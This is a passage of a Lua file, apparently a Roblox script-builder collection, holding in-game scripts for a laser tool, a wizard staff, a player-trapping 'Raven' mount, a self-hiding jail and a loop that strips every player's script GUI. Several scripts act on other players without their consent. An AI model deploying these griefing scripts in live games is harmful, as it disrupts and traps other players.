- end
- end)
- ]]
- ReSB = [[while true do
- for inx, val in pairs(game.Players:GetPlayers()) do
- if val:FindFirstChild("PlayerGui") then
- if val.PlayerGui:FindFirstChild("SBGUI") then
- val.PlayerGui.SBGUI:Remove()
- end
- end
- end
- wait()
- end
- ]]
- Shoop = [[
- me = game.Players.LocalPlayer
- if script.Parent.className ~= "HopperBin" then
- h = Instance.new("HopperBin",me.Backpack)
- h.Name = "LAZOR"
- script.Parent = h
- end
- bin = script.Parent
- function prop(part, parent, collide, tran, ref, x, y, z, color)
- part.Parent = parent
- part.formFactor = 0
- part.CanCollide = collide
- part.Transparency = tran
- part.Reflectance = ref
- part.Size = Vector3.new(x,y,z)
- part.BrickColor = BrickColor.new(color)
- part.TopSurface = 0
- part.BottomSurface = 0
- part:BreakJoints()
- end
- function weld(w, p, p0, p1, a, b, c, x, y, z)
- w.Parent = p
- w.Part0 = p0
- w.Part1 = p1
- w.C1 = CFrame.fromEulerAnglesXYZ(a,b,c) * CFrame.new(x,y,z)
- end
- function mesh(mesh, parent, x, y, z, type)
- mesh.Parent = parent
- mesh.Scale = Vector3.new(x, y, z)
- mesh.MeshType = type
- end
- using = false
- sound = Instance.new("Sound",me.Character.Head)
- sound.Volume = 0.6
- sound.Pitch = 1
- sound.SoundId = "rbxasset://sounds/uuhhh.wav"
- bin.Selected:connect(function(mouse)
- mouse.Button1Down:connect(function()
- if using then return end
- using = true
- local blagh = Instance.new("Model",me.Character)
- blagh.Name = "LAZOR"
- local paw = mouse.Hit.p
- local pa1 = Instance.new("Part")
- prop(pa1,blagh,false,0,0,1,1,1,"Really black")
- local m1 = Instance.new("SpecialMesh")
- mesh(m1, pa1, 1.07,1,0.3,"Brick")
- local w1 = Instance.new("Weld")
- weld(w1, me.Character.Head, me.Character.Head, pa1, 0.4, 0, 0, 0, -0.4, 0.9)
- local pa2 = pa1:clone()
- prop(pa2,blagh,false,0,0,1,1,1,"Really black")
- local w2 = Instance.new("Weld")
- weld(w2, me.Character.Head, me.Character.Head, pa2, -0.4, 0, 0, 0, 0.4, 0.9)
- local pa3 = Instance.new("Part")
- prop(pa3,blagh,false,0,0,1,1,1,"Really red")
- local m3 = Instance.new("SpecialMesh")
- mesh(m3,pa3,1.3,1.23,0.29,"Brick")
- local w3 = Instance.new("Weld")
- weld(w3, me.Character.Head, me.Character.Head, pa3, 0.4, 0, 0, 0, -0.4, 0.9)
- local pa4 = pa3:clone()
- prop(pa4,blagh,false,0,0,1,1,1,"Really red")
- local w4 = Instance.new("Weld")
- weld(w4, me.Character.Head, me.Character.Head, pa4, -0.4, 0, 0, 0, 0.4, 0.9)
- local eye1a = Instance.new("Part")
- prop(eye1a,blagh,false,0,0,1,1,1,"Institutional white")
- eye1a.Shape = "Ball"
- local emesh1 = Instance.new("SpecialMesh")
- mesh(emesh1,eye1a,0.75,0.75,0.75,"Sphere")
- local ew = Instance.new("Weld")
- weld(ew, me.Character.Head, me.Character.Head, eye1a, 0, 0, 0, 0.45, -1.3, 1.1)
- local eye1b = Instance.new("Part")
- prop(eye1b,blagh,false,0,0,1,1,1,"Really black")
- eye1b.Shape = "Ball"
- local emesh1b = Instance.new("SpecialMesh")
- mesh(emesh1b,eye1b,0.4,0.4,0.4,"Sphere")
- local ew2 = Instance.new("Weld")
- weld(ew2, eye1a, eye1a, eye1b, 0, 0, 0, 0.09, -0.04, 0.2)
- local eye2a = eye1a:clone()
- prop(eye2a,blagh,false,0,0,1,1,1,"Institutional white")
- local ew3 = Instance.new("Weld")
- weld(ew3, me.Character.Head, me.Character.Head, eye2a, 0, 0, 0, -0.45, -1.3, 1.1)
- local eye2b = eye1b:clone()
- prop(eye2b,blagh,false,0,0,1,1,1,"Really black")
- local ew5 = Instance.new("Weld")
- weld(ew5, eye2a, eye2a, eye2b, 0, 0, 0, -0.05, 0.07, 0.2)
- local bill = Instance.new("BillboardGui",pa1)
- bill.Adornee = bill.Parent
- bill.Size = UDim2.new(0,150,0,80)
- local txt = Instance.new("TextLabel",bill)
- txt.Size = UDim2.new(0,0,0,0)
- txt.Position = UDim2.new(0,100,0,-20)
- txt.Text = "IMA FIRIN' MAH LAZORR!!"
- txt.FontSize = "Size24"
- txt.TextColor3 = Color3.new(0,0,0)
- sound.Volume = 0.6
- for i=1, 5 do
- sound.Pitch = math.random(400,900)/1000
- sound:play()
- wait(0.1)
- end
- local bg = Instance.new("BodyGyro",me.Character.Torso)
- bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
- bg.cframe = CFrame.new(me.Character.Torso.Position, paw)
- for i=1, 5 do
- sound.Pitch = math.random(400,900)/1000
- sound:play()
- wait(0.2)
- end
- txt.Text = "BLAARGHH!!!!!!"
- sound.Volume = 0.85
- for i=1, 60 do
- local dist = (me.Character.Head.Position - paw).magnitude
- if dist >= 600 then
- dist = 600
- end
- bg.cframe = CFrame.new(me.Character.Torso.Position, paw)
- sound.Pitch = math.random(550,750)/1000
- sound:play()
- local bewm = Instance.new("Part")
- prop(bewm, blagh, false, 0.4, 0.25, 1, 1, dist, "Cyan")
- bewm.Anchored = true
- local mes = Instance.new("SpecialMesh")
- mesh(mes,bewm,1.2,1.2,1,"Brick")
- bewm.CFrame = CFrame.new(me.Character.Head.Position, paw) * CFrame.new(0,0,-bewm.Size.Z/2) * CFrame.new(0,0,-1)
- local luck = math.random(1,3)
- if luck == 1 then
- local cfr = Instance.new("Part",blagh)
- cfr.Size = Vector3.new(1,1,1)
- cfr.Transparency = 1
- cfr.Anchored = true
- cfr.CFrame = bewm.CFrame * CFrame.new(0,0,-bewm.Size.Z/2)
- local ex = Instance.new("Explosion")
- ex.Parent = blagh
- ex.Position = cfr.Position
- ex.BlastRadius = 9
- ex.BlastPressure = 400000
- ex.Hit:connect(function(part)
- if part:GetMass() < 240 then
- part.Anchored = false
- part:BreakJoints()
- end
- end)
- end
- wait()
- bewm:remove()
- end
- blagh:remove()
- bg:remove()
- using = false
- end)
- end)
- ]]
- Wizard = [[
- LocalPlayer = game.Players.LocalPlayer
- Activated = false
- Equipped = false
- Regening = false
- FireBall = false
- Spikes = false
- shooting = false
- Mode = "Shoot"
- Energy = 100
- mouse = LocalPlayer:GetMouse()
- t = Instance.new("Tool",LocalPlayer.Backpack)
- t.Name = 'Wizard staff'
- t.GripPos = Vector3.new(0,-2,0)
- p = Instance.new("Part",t)
- p.FormFactor = 'Custom'
- p.Name = 'Handle'
- p.CanCollide = false
- m = Instance.new("SpecialMesh",p)
- m.MeshId = 'http://www.roblox.com/asset/?id=18434043'
- m.TextureId = 'http://www.roblox.com/asset/?id=26017177'
- char = LocalPlayer.Character
- mouse = LocalPlayer:GetMouse()
- humanoid = char:findFirstChild("Humanoid")
- torso = char:findFirstChild("Torso")
- head = char.Head
- ra = char:findFirstChild("Right Arm")
- la = char:findFirstChild("Left Arm")
- rl = char:findFirstChild("Right Leg")
- ll = char:findFirstChild("Left Leg")
- rs = torso:findFirstChild("Right Shoulder")
- ls = torso:findFirstChild("Left Shoulder")
- rh = torso:findFirstChild("Right Hip")
- lh = torso:findFirstChild("Left Hip")
- neck = torso:findFirstChild("Neck")
- rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
- anim = char:findFirstChild("Animate")
- rootpart = char:findFirstChild("HumanoidRootPart")
- camera = workspace.CurrentCamera
- if anim then
- anim:Destroy()
- end
- rm = Instance.new("Motor", torso)
- rm.C0 = CFrame.new(1.5, 0.5, 0) *CFrame.Angles(0, 0, 0)
- rm.C1 = CFrame.new(0, 0.5, 0)
- rm.Part0 = torso
- rm.Part1 = ra
- lm = Instance.new("Motor", torso)
- lm.C0 = CFrame.new(-1.5, 0.5, 0) *CFrame.Angles(0, 0, 0)
- lm.C1 = CFrame.new(0, 0.5, 0)
- lm.Part0 = torso
- lm.Part1 = la
- rlegm = Instance.new("Motor", torso)
- rlegm.C0 = CFrame.new(0.5, -1, 0) *CFrame.Angles(0, 0, 0)
- rlegm.C1 = CFrame.new(0, 1, 0)
- rlegm.Part0 = torso
- rlegm.Part1 = rl
- llegm = Instance.new("Motor", torso)
- llegm.C0 = CFrame.new(-0.5, -1, 0) *CFrame.Angles(0, 0, 0)
- llegm.C1 = CFrame.new(0, 1, 0)
- llegm.Part0 = torso
- llegm.Part1 = ll
- rsc0 = rm.C0
- lsc0 = lm.C0
- llc0 = llegm.C0
- rlc0 = rlegm.C0
- neckc0 = neck.C0
- rootc0 = rj.C0
- PLAYERGUI = LocalPlayer.PlayerGui
- GUI = Instance.new("ScreenGui",PLAYERGUI)
- FRAME = Instance.new("Frame",GUI)
- FRAME.Size = UDim2.new(0.5,0,0.05,0)
- FRAME.BackgroundColor3 = BrickColor.new("Bright blue").Color
- FRAME.BorderSizePixel = 0
- TEXTLABEL = Instance.new("TextLabel",FRAME)
- TEXTLABEL.Size = UDim2.new(1,0,1,0)
- TEXTLABEL.BackgroundTransparency = 1
- TEXTLABEL.Text = "Mana: "..tostring(Energy)
- TEXTLABEL.BorderSizePixel = 0
- TEXTLABEL.Font = 'Legacy'
- TEXTLABEL.FontSize = 'Size24'
- FRAME2 = Instance.new("Frame",GUI)
- FRAME2.Size = UDim2.new(0.5,0,0.05,0)
- FRAME2.BackgroundColor3 = BrickColor.new("Bright red").Color
- FRAME2.BorderSizePixel = 0
- FRAME2.Position = UDim2.new(0.5,0,0,0)
- TEXTLABEL2 = Instance.new("TextLabel",FRAME2)
- TEXTLABEL2.Size = UDim2.new(1,0,1,0)
- TEXTLABEL2.BackgroundTransparency = 1
- TEXTLABEL2.Text = "Health: "..tostring(humanoid.Health)
- TEXTLABEL2.BorderSizePixel = 0
- TEXTLABEL2.Font = 'Legacy'
- TEXTLABEL2.FontSize = 'Size24'
- FRAME3 = Instance.new("Frame",GUI)
- FRAME3.Size = UDim2.new(0.5,0,0.05,0)
- FRAME3.BackgroundColor3 = BrickColor.new("Lime green").Color
- FRAME3.BorderSizePixel = 0
- FRAME3.Position = UDim2.new(0.5,0,0.05,0)
- TEXTLABEL3 = Instance.new("TextLabel",FRAME3)
- TEXTLABEL3.Size = UDim2.new(1,0,1,0)
- TEXTLABEL3.BackgroundTransparency = 1
- TEXTLABEL3.Text = "Spell: Star shoot"
- TEXTLABEL3.BorderSizePixel = 0
- TEXTLABEL3.Font = 'Legacy'
- TEXTLABEL3.FontSize = 'Size24'
- function __getVelocity(p1,p2,speed)
- local dis=(p1-p2).magnitude
- if speed=="dis" then
- if dis*6>100 then
- speed=dis*6
- else
- speed=100
- end
- end
- local x=(p1.x-p2.x)/dis*speed
- local y=(p1.y-p2.y)/dis*speed
- local z=(p1.z-p2.z)/dis*speed
- return Vector3.new(-x,-y+10,-z)
- end
- function __onActivated()
- Activated = true
- end
- function __onDeactivated()
- Activated = false
- end
- function __onEquipped(mouse)
- Equipped = true
- pcall(function()
- local a = Instance.new("Explosion",LocalPlayer.Character)
- a.Position = LocalPlayer.Character['Right Arm'].Position
- a.BlastPressure = 0
- a.BlastRadius = 20
- end)
- local b = Instance.new("Fire",p)
- b.Size = 1
- b.Color = Color3.new(0, 255, 255)
- b.SecondaryColor = Color3.new(255, 255, 0)
- local w = Instance.new("Motor",char['Right Arm'])
- w.Name = 'Wizard staff weld'
- w.Part0 = char['Right Arm']
- w.Part1 = p
- w.C1 = CFrame.new(0,-1.5,0.5) * CFrame.Angles(math.rad(90),0,0)
- end
- function __onUnequipped(mouse)
- Equipped = false
- pcall(function()
- p.Fire:Destroy()
- end)
- pcall(function()
- char['Right Arm']['Wizard staff weld']:Destroy()
- end)
- end
- function __Shoot()
- if Regening == true then return end
- if Energy < 5 then return end
- shooting = true
- Energy = Energy - 5
- humanoid.WalkSpeed = 0
- local speed = math.random(400,500)
- local bullet = Instance.new("Part",workspace)
- bullet.Name = 'Bullet'
- bullet.TopSurface = 0
- bullet.BottomSurface = 0
- bullet.FormFactor = 'Custom'
- bullet.CFrame = p.CFrame
- bullet.CanCollide = false
- bullet.Velocity = __getVelocity(bullet.Position, mouse.Hit.p, speed)
- local bulletmesh = Instance.new("SpecialMesh",bullet)
- bulletmesh.MeshId = 'http://www.roblox.com/asset/?id=24388358'
- bulletmesh.TextureId = 'http://www.roblox.com/asset/?id=24388341'
- bulletmesh.VertexColor = Vector3.new(0,0,0)
- bullet.Touched:connect(function(toucher)
- if toucher.Parent:findFirstChild'Head' and toucher.Parent:findFirstChild'Torso' and toucher.Parent.Name ~= LocalPlayer.Name then
- for i,v in pairs(toucher.Parent:children()) do
- if v.ClassName == 'Humanoid' then
- if v.Health > 100 then
- v.Health = 100
- else
- v.Health = v.Health - speed/50
- end
- end
- end
- bullet:Destroy()
- end
- end)
- wait(1)
- shooting = false
- humanoid.WalkSpeed = 16
- end
- function __FireBall()
- if Regening == true then return end
- if Energy < 50 then return end
- if FireBall == true then return end
- Energy = Energy - 50
- local a = Instance.new("Part",workspace)
- a.Anchored = true
- a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-5)
- a.FormFactor = 'Custom'
- a.Size = Vector3.new(5,5,5)
- Instance.new("SpecialMesh", a).MeshType = 'Sphere'
- local b = Instance.new('Decal',a)
- b.Texture = 'http://www.roblox.com/asset/?id=58278973'
- b.Face = 'Right'
- local c = Instance.new('Decal',a)
- c.Texture = 'http://www.roblox.com/asset/?id=58278973'
- c.Face = 'Left'
- local d = Instance.new('Decal',a)
- d.Texture = 'http://www.roblox.com/asset/?id=58278973'
- d.Face = 'Top'
- local e = Instance.new('Decal',a)
- e.Texture = 'http://www.roblox.com/asset/?id=58278973'
- e.Face = 'Front'
- local f = Instance.new('Decal',a)
- f.Texture = 'http://www.roblox.com/asset/?id=58278973'
- f.Face = 'Back'
- local g = Instance.new('Decal',a)
- g.Texture = 'http://www.roblox.com/asset/?id=58278973'
- g.Face = 'Bottom'
- local x = Instance.new('Fire',a)
- x.Size = 20
- local con = a.Touched:connect(function(what)
- if what.Parent.Name ~= LocalPlayer.Name then
- if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
- what:Destroy()
- end
- end
- end)
- coroutine.wrap(function()
- FireBall = true
- humanoid.WalkSpeed = 0
- for i = 0,1,0.05 do
- a.Mesh.Scale = Vector3.new(i,i,i)
- wait()
- end
- FireBall = false
- humanoid.WalkSpeed = 16
- while wait() do
- if a == nil or a.Parent ~= workspace then break end
- a.CFrame = a.CFrame * CFrame.new(0,0,-1)
- end
- con:disconnect()
- end)()
- coroutine.wrap(function()
- wait(5)
- Instance.new("Explosion",workspace).Position = a.Position
- a:Destroy()
- end)()
- end
- function __Spikes()
- if Regening == true then return end
- if Energy < 25 then return end
- if Spikes == true then return end
- Energy = Energy - 25
- Spikes = true
- humanoid.WalkSpeed = 0
- for z = 0,6 do
- local a = Instance.new("Part",workspace)
- a.FormFactor = 'Custom'
- a.Size = Vector3.new(2.4, 3.4, 2.4)
- a.Anchored = true
- local b = Instance.new("SpecialMesh",a)
- b.MeshId = 'http://www.roblox.com/asset/?id=1033714'
- b.TextureId = 'http://www.roblox.com/asset?id=39251676'
- b.VertexColor = Vector3.new(1, 1, 1)
- b.Scale = Vector3.new(1.2, 5.4, 1.2)
- a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,-0.5,-(z*4)-2)
- local con = a.Touched:connect(function(what)
- if what.Parent.Name ~= LocalPlayer.Name then
- if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
- for i,v in pairs(what.Parent:children()) do
- if v.ClassName == 'Humanoid' then
- if v.Health > 100 then v.Health = 100 end
- v.Health = v.Health - 10
- end
- end
- end
- end
- end)
- coroutine.wrap(function()
- wait(3)
- a:Destroy()
- con:disconnect()
- end)()
- wait()
- end
- humanoid.WalkSpeed = 16
- Spikes = false
- end
- function __Lightning()
- if Energy < 40 then return end
- if Lightning == true then return end
- if Regening == true then return end
- humanoid.WalkSpeed = 0
- Lightning = true
- Energy = Energy - 40
- local function segment(pos1,pos2,color)
- local dis=(pos1-pos2).magnitude
- local p=Instance.new("Part")
- p.CanCollide=false
- p.FormFactor="Custom"
- p.Size=Vector3.new(.2,.2,dis)
- p.Anchored=true
- p.CFrame=CFrame.new(pos1,pos2)*CFrame.new(0,0,-dis/2)
- p.BrickColor=color
- return p
- end
- target = mouse.Hit
- height=200
- prev=(target*CFrame.new(0,300,0)).p
- for i=height,30,-50 do
- cur=Vector3.new(math.random(15)+target.x,i,math.random(15)+target.z)
- p=segment(prev,cur,BrickColor.new("New Yeller"))
- p.Parent=workspace
- game:service("Debris"):AddItem(p,3)
- prev=cur
- wait()
- end
- p=segment(prev,target.p,BrickColor.new("New Yeller"))
- p.Parent=workspace
- game:service("Debris"):AddItem(p,3)
- Instance.new("Explosion",workspace).Position=target.p
- wait(1)
- Lightning = false
- humanoid.WalkSpeed = 16
- end
- function __ManaExplosion()
- if Energy < 100 then return end
- if ManaExplosion == true then return end
- if Regening == true then return end
- humanoid.WalkSpeed = 0
- ManaExplosion = true
- Energy = Energy - 100
- local Fire = Instance.new("Fire",LocalPlayer.Character.Torso)
- for i = 0,100 do
- Fire.Size = i
- wait()
- end
- Fire:remove()
- local a = Instance.new("Explosion", LocalPlayer.Character)
- a.Position = LocalPlayer.Character.Torso.Position
- a.BlastPressure = 1e100
- a.BlastRadius = 1e100
- ManaExplosion = false
- humanoid.WalkSpeed = 16
- end
- t.Activated:connect(__onActivated)
- t.Deactivated:connect(__onDeactivated)
- t.Equipped:connect(__onEquipped)
- t.Unequipped:connect(__onUnequipped)
- coroutine.wrap(function()
- while wait() do
- if Activated == true then
- if Mode == 'Shoot' then
- __Shoot()
- elseif Mode == 'FireBall' then
- __FireBall()
- elseif Mode == 'Spikes' then
- __Spikes()
- elseif Mode == 'Lightning' then
- __Lightning()
- elseif Mode == 'ManaExplosion' then
- __ManaExplosion()
- end
- end
- if Regening == true then
- Energy = Energy + 5
- wait(1)
- end
- end
- end)()
- mouse.KeyDown:connect(function(key)
- if key == 'r' then
- humanoid.WalkSpeed = 0
- Regening = true
- end
- if key == 'c' then
- if Mode == 'Shoot' then
- Mode = 'FireBall'
- elseif Mode == 'FireBall' then
- Mode = 'Spikes'
- elseif Mode == 'Spikes' then
- Mode = 'Lightning'
- elseif Mode == 'Lightning' then
- Mode = 'ManaExplosion'
- else
- Mode = 'Shoot'
- end
- end
- end)
- mouse.KeyUp:connect(function(key)
- if key == 'r' then
- humanoid.WalkSpeed = 16
- Regening = false
- end
- end)
- count = 0
- countspeed = 0.70
- coroutine.wrap(function()
- while wait() do
- if Energy > 100 then Energy = 100 end
- if Energy < 0 then Energy = 0 end
- TEXTLABEL.Text = "Mana: "..tostring(Energy)
- TEXTLABEL2.Text = "Health: "..tostring(math.floor(humanoid.Health))
- if Mode == 'Shoot' then
- TEXTLABEL3.Text = 'Spell: Star shoot (5 mana)'
- elseif Mode == 'FireBall' then
- TEXTLABEL3.Text = 'Spell: Fire ball (50 mana)'
- elseif Mode == 'Spikes' then
- TEXTLABEL3.Text = 'Spell: Spikes row (25 mana)'
- elseif Mode == 'Lightning' then
- TEXTLABEL3.Text = 'Spell: Lightning (40 mana)'
- elseif Mode == 'ManaExplosion' then
- TEXTLABEL3.Text = 'Spell: Mana explosion (100 mana) *KILLS EVERYTHING*'
- end
- count = (count % 100) + countspeed
- angle = math.pi * math.sin(math.pi*2/100*count)
- if Vector3.new(0, torso.Velocity.y, 0).magnitude > 2 then
- countspeed = 8
- if Equipped == false then
- rm.C0 = rsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0))
- else
- rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
- end
- lm.C0 = lsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0))
- rlegm.C0 = rlc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0)
- llegm.C0 = llc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0)
- neck.C0 = neckc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05),0,0)
- rootpart.RootJoint.C0 = rootc0 * CFrame.Angles(0,0,0)
- wait()
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then --stand
- if shooting then
- countspeed = 8
- rj.C0 = rootc0 * CFrame.Angles(0,0,math.rad(25))
- rlegm.C0 = rlc0 * CFrame.Angles(math.rad(5), -math.rad(25), 0) --right leg
- llegm.C0 = llc0 * CFrame.Angles(-math.rad(5), -math.rad(25), -0) --left leg
- lm.C0 = lsc0 * CFrame.Angles(-math.rad(30), 0, -math.rad(25)) --left arm
- rm.C0 = rsc0 * CFrame.Angles(math.rad(90)+angle*0.050, 0, 0) --right arm
- elseif Regening == true then
- if Energy == 100 then Regening = false end
- rj.C0 = rootc0 * CFrame.Angles(0,0,0)
- llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
- rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
- lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(20))
- rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-20))
- neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
- elseif FireBall == true then
- rj.C0 = rootc0 * CFrame.Angles(0,0,0)
- llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
- rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
- lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10))
- rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10))
- neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
- elseif Spikes == true then
- rj.C0 = rootc0 * CFrame.Angles(0,0,0)
- llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
- rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
- lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10))
- rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10))
- neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
- elseif Lightning == true then
- rj.C0 = rootc0 * CFrame.Angles(0,0,0)
- llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
- rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
- lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10))
- rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10))
- neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0)
- elseif ManaExplosion == true then
- coroutine.wrap(function()
- for i = 0,360 do
- rj.C0 = rootc0 * CFrame.Angles(0,0,0)
- wait()
- end
- end)()
- llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
- rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
- lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10))
- rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10))
- neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0)
- else
- countspeed = 0.70-- this judges how fast idle animation goes
- rlegm.C0 = rlc0 * CFrame.Angles(0, 0, 0) --right leg
- llegm.C0 = llc0 * CFrame.Angles(0, 0, -0) --left leg
- lm.C0 = lsc0 * CFrame.Angles(-angle*0.050, 0, 0) --left arm
- if Equipped == false then
- rm.C0 = rsc0 * CFrame.Angles(angle*0.050, 0, 0) --right arm
- else
- rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
- end
- neck.C0 = neckc0 * CFrame.Angles(-angle*0.025, 0, 0) --head
- rj.C0 = rootc0 * CFrame.Angles(-math.rad(1), 0, 0) --torso
- end
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then-- walk
- countspeed = 8-- this judges how fast the walk animation goes
- rlegm.C0 = rlc0 * CFrame.Angles(-angle*0.100, 0, 0)
- llegm.C0 = llc0 * CFrame.Angles(angle*0.100, 0, 0)
- neck.C0 = neckc0 * CFrame.Angles(0, 0, 0)
- lm.C0 = lsc0 * CFrame.Angles(-angle*0.100, 0, 0)
- if Equipped == false then
- rm.C0 = rsc0 * CFrame.Angles(angle*0.100, 0, 0)
- else
- rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
- end
- rj.C0 = rootc0 * CFrame.Angles(0, 0, 0)
- end
- end
- end)()
- ]]
- Raven = [[
- local fp = Instance.new("Part", game:GetService("Players").LocalPlayer.Character)
- fp.Anchored = true
- fp.Size = Vector3.new(10, 3, 25)
- game:GetService("Players").LocalPlayer.Character.Humanoid.WalkSpeed = 32
- local players = {}
- local fpm = Instance.new("SpecialMesh", fp)
- fpm.MeshId = "http://www.roblox.com/asset/?id=20925363"
- fpm.TextureId = "http://www.roblox.com/asset/?id=20925361"
- fpm.Scale = Vector3.new(10, 10, 10)
- fpm.VertexColor = Vector3.new(1, 0, 0)
- fp.Touched:connect(function(part)
- pcall(function()
- table.insert(players, part.Parent:findFirstChild("Torso"))
- part.Parent:findFirstChild("Torso").Anchored = true
- part.Parent:findFirstChild("Humanoid").WalkSpeed = 0
- end)
- end)
- while wait() do
- fp.CFrame = CFrame.new(game:GetService("Players").LocalPlayer.Character.Torso.CFrame.x, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.y - 5, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.z) * CFrame.Angles(game:GetService("Players").LocalPlayer.Character.Torso.CFrame:toEulerAnglesXYZ())
- fp.Position = fp.CFrame.p
- for i, v in pairs(players) do
- v.CFrame = fp.CFrame * CFrame.new(0, 3, 2)
- end
- end ]]
- JailSource = [[ wait(0)
- script.Parent = nil
- local LP = game:GetService("Players").LocalPlayer
- Middle2 = nil
- Middle = nil
- game:GetService("Workspace").CurrentCamera:ClearAllChildren()
- Cons = {}
- function makePrison()
- for _,v in pairs(Cons) do
- v:disconnect()
- end
- game:GetService("Workspace").CurrentCamera:ClearAllChildren()
- if Middle == nil then
- Middle2 = LP.Character.Torso.Position
- Middle = LP.Character.Torso.CFrame
- end
- local side1 = Instance.new("Part")
- side1.Name = "¬Focus1¬"
- side1.Size = Vector3.new(20, 50, 1)
- side1.CFrame = Middle * CFrame.new(0, 0, -10)
- side1.BrickColor = BrickColor.new("Really black")
- side1.CanCollide = true
- side1.Anchored = true
- side1.TopSurface = "Smooth"
- side1.BottomSurface = "Smooth"
- side1.Parent = game:GetService("Workspace").CurrentCamera
- local side2 = Instance.new("Part")
- side2.Name = "¬Focus2¬"
- side2.Size = Vector3.new(20, 50, 1)
- side2.CFrame = Middle * CFrame.new(0, 0, 10)
- side2.BrickColor = BrickColor.new("Really black")
- side2.CanCollide = true
- side2.Anchored = true
- side2.TopSurface = "Smooth"
- side2.BottomSurface = "Smooth"
- side2.Parent = game:GetService("Workspace").CurrentCamera
- local side3 = Instance.new("Part")
- side3.Name = "¬Focus3¬"
- side3.Size = Vector3.new(1, 50, 20)
- side3.CFrame = Middle * CFrame.new(10, 0, 0)
- side3.BrickColor = BrickColor.new("Really black")
- side3.CanCollide = true
- side3.Anchored = true
- side3.TopSurface = "Smooth"
- side3.BottomSurface = "Smooth"
- side3.Parent = game:GetService("Workspace").CurrentCamera
- local side4 = Instance.new("Part")
- side4.Name = "¬Focus4¬"
- side4.Size = Vector3.new(1, 50, 20)
- side4.CFrame = Middle * CFrame.new(-10, 0, 0)
- side4.BrickColor = BrickColor.new("Really black")
- side4.CanCollide = true
- side4.Anchored = true
- side4.TopSurface = "Smooth"
- side4.BottomSurface = "Smooth"
- side4.Parent = game:GetService("Workspace").CurrentCamera
- local side5 = Instance.new("Part")
- side5.Name = "¬Focus5¬"
- side5.Size = Vector3.new(20, 1, 20)
- side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
- side5.BrickColor = BrickColor.new("Really black")
- side5.CanCollide = true
- side5.Anchored = true
- side5.TopSurface = "Smooth"
- side5.BottomSurface = "Smooth"
- side5.Parent = game:GetService("Workspace").CurrentCamera
- wait(0)
- table.insert(Cons, side1.Changed:connect(makePrison))
- table.insert(Cons, side2.Changed:connect(makePrison))
- table.insert(Cons, side3.Changed:connect(makePrison))
- table.insert(Cons, side4.Changed:connect(makePrison))
- table.insert(Cons, side5.Changed:connect(makePrison))
- end
- Delay(0, function()
- while wait(0) do
- ypcall(function()
- if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
- LP.Character:BreakJoints()
- elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
- makePrison()
- end
- end)
- ypcall(function()
- if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
- LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
- end
- end)
- end
- end)
- if not workspace.CurrentCamera:findFirstChild("Hint") then
- local mes = Instance.new("Hint", workspace.CurrentCamera)
- mes.Text = string.gsub("Now,Perish before you.","","\5")
- end
- ]]
- Day = [[game:service'Lighting'.TimeOfDay = 14
- game:service'Lighting'.OutdoorAmbient = Color3.new(128/255, 128/255, 128/255)
